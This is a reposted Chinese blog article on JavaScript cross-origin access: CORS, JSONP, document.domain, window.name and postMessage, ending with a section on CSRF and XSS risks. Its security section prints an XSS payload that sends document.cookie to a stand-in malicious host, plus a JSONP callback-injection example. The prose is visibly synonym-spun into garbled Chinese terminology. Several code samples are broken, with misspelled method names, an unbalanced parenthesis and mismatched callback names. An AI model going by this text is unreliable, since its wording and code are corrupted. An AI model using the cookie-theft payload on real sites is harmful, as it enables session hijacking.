浅谈js跨域题目

2019年8月27日 177次阅读 来源: 燕子酱

所谓跨域，或许异源，是指主机名（域名）、协定、端口号只需有其一差别，就为差别的域（或源）。浏览器中有一个基础的战略，叫同源战略，即限定“源”自A的剧本只能操纵“同源”页面的DOM。

先聊一下w3c的CORS范例：
CORS旨在定义一种范例让浏览器在接收到从提供者猎取资本时能够决议是不是应当将此资本分发给消费者作进一步处置惩罚。
详细以下：
（1）消费者发送一个Origin报头到提供者端：Origin: http://www.a.com；
（2）提供者发送一个Access-Control-Allow-Origin响应报头给消费者，假如值为*或Origin对应的站点，则示意同意同享资本给消费者，假如值为null或许不存在Access-Control-Allow-Origin报头，则示意差别意同享资本给消费者；
（3）浏览器依据提供者的响应报文推断是不是许可消费者跨域接见到提供者源。

除了CORS，处理跨域另有以下几种要领：

1、经由过程Jsonp跨域

关于一段JavaScript剧本来讲，其“源”与它存储的地点无关，而取决于剧本被加载的页面，比方我们在页面中运用<script>引入存储在其他域的剧本文件：
<script src="http://www.a.com/index.js"></script>
这里剧本与当前页面是同源的。除了<script>，另有<img>、<iframe>、<link>等都具有跨域加载资本的才能。
Jsonp恰是应用这类特征来完成跨域的：在页面中引入要跨域接见的泉源，并定义回调函数处置惩罚跨域接见获得的json数据。如：

<script>
function handleData(data) {
    //处置惩罚数据
}
</script>
<script src="http://www.a.com/getData.do?callback=handleData"></script>

也能够运用jquery封装的要领，如$.ajax:

<script>
function hadnleData(data) {
    //处置惩罚数据
}
$.ajax({
    url: 'http://www.a.com/getData.do?callback=?',
    type: "GET",
    dataType: "jsonp",
    jsonpCallback: "handleData"
});
</script>

固然还须要服务端合营处置惩罚：

String handleData = request.getParameter("callback");//客户端的回调函数
out.println(handleData+"("+resultJSON+")");//返回jsonp花样数据

但这类体式格局只能用于get要求 (╯-╰)/。

2、修正document.domain来跨子域

www.a.com/1.html和a.com/2.html是差别域的，要使他们能够跨域接见，可经由过程修正document.domain来完成，即在两个页面中都设置：
document.domain="a.com";
须要注重的是document.domain只能往父级修正，如a.com改成www.a.com是不被许可的，这也是此要领的局限性，只运用于跨子域接见。

3、运用window.name来跨域接见

window.name是统一浏览器窗口下载入的一切页面同享的数据字段，一切窗口都能够读写此字段的内容。所以假定a.com要接见b.com的数据，只须要在b.com中将数据放在window.name中，然后a.com从中掏出即可。此要领适用于像iframe如许的嵌套页面架构。

4、运用HTML5的window.postMessage要领:

假定要在a.com和b.com页面之间通报数据：

//a.com页面
window.postMesssage(JSON.stringify({xxx:'test'},'b.com');
//b.com页面
window.onMessage=function(e){
    var data = JSON.parse(e.data);
    console.log(data); //{xxx:'test'}
}

参考链接：http://javascript.ruanyifeng.com/bom/windowpostmessage.html

下面谈一下跨域接见的一些平安性题目，主如果CSRF和XSS进击题目。

一、CSRF/XSRF进击

网上找到一个大神发的图，贴在这里敬拜一下：
《浅谈js跨域题目》

实在就是风险网站B在本身网站上贴了网站A的某个接口链接（a标签或form提交是支撑跨域的），指导用户点击（欺骗用户cookie）去接见网站A，祸因在于用户登录了A在不注销的情况下登录了B。处理要领有许多，如考证码，表单附加随机数等，道理基础都是校验登录方的要求令牌。
假如运用跨域接见能够更简朴的举行CSRF进击（固然也有响应的防范步伐），当某网站经由过程JSONP体式格局来跨域通报用户认证后的敏感信息时，进击者能够组织歹意的JSONP挪用页面，引诱被进击者接见来到达截取用户敏感信息的目标。（这里有一个微博股吧CSRF进击的例子）
现在比较好的防备CSRF进击的要领是referer过滤校验+token考证，即服务端检测JSON文件挪用泉源和搜检token数据是不是婚配。

二、XSS进击（XSS注入）

此进击要领相似sql注入，即提交含有歹意剧本的数据到服务器，从而到达损坏页面以至偷取cookie假装登录等目标。比方，在a.com/index.ftl中有以下代码：迎接你，${username}，这时候歹意网站b.com通报参数：
username=<script>window.open(“www.b.com?param=”+document.cookie)</script>
如许就易如反掌地偷取了用户的cookie值了。
在jsonp跨域接见中，xss注入主如果callback参数注入，如：
<script src="http://www.a.com/getData.do?callback=<script>alert('xss');</script>"></script>
防备步伐是对参数举行校验过滤。

    原文作者：燕子酱
    原文地址: https://segmentfault.com/a/1190000003784372
    本文转自网络文章，转载此文章仅为分享知识，如有侵权，请联系博主进行删除。
点赞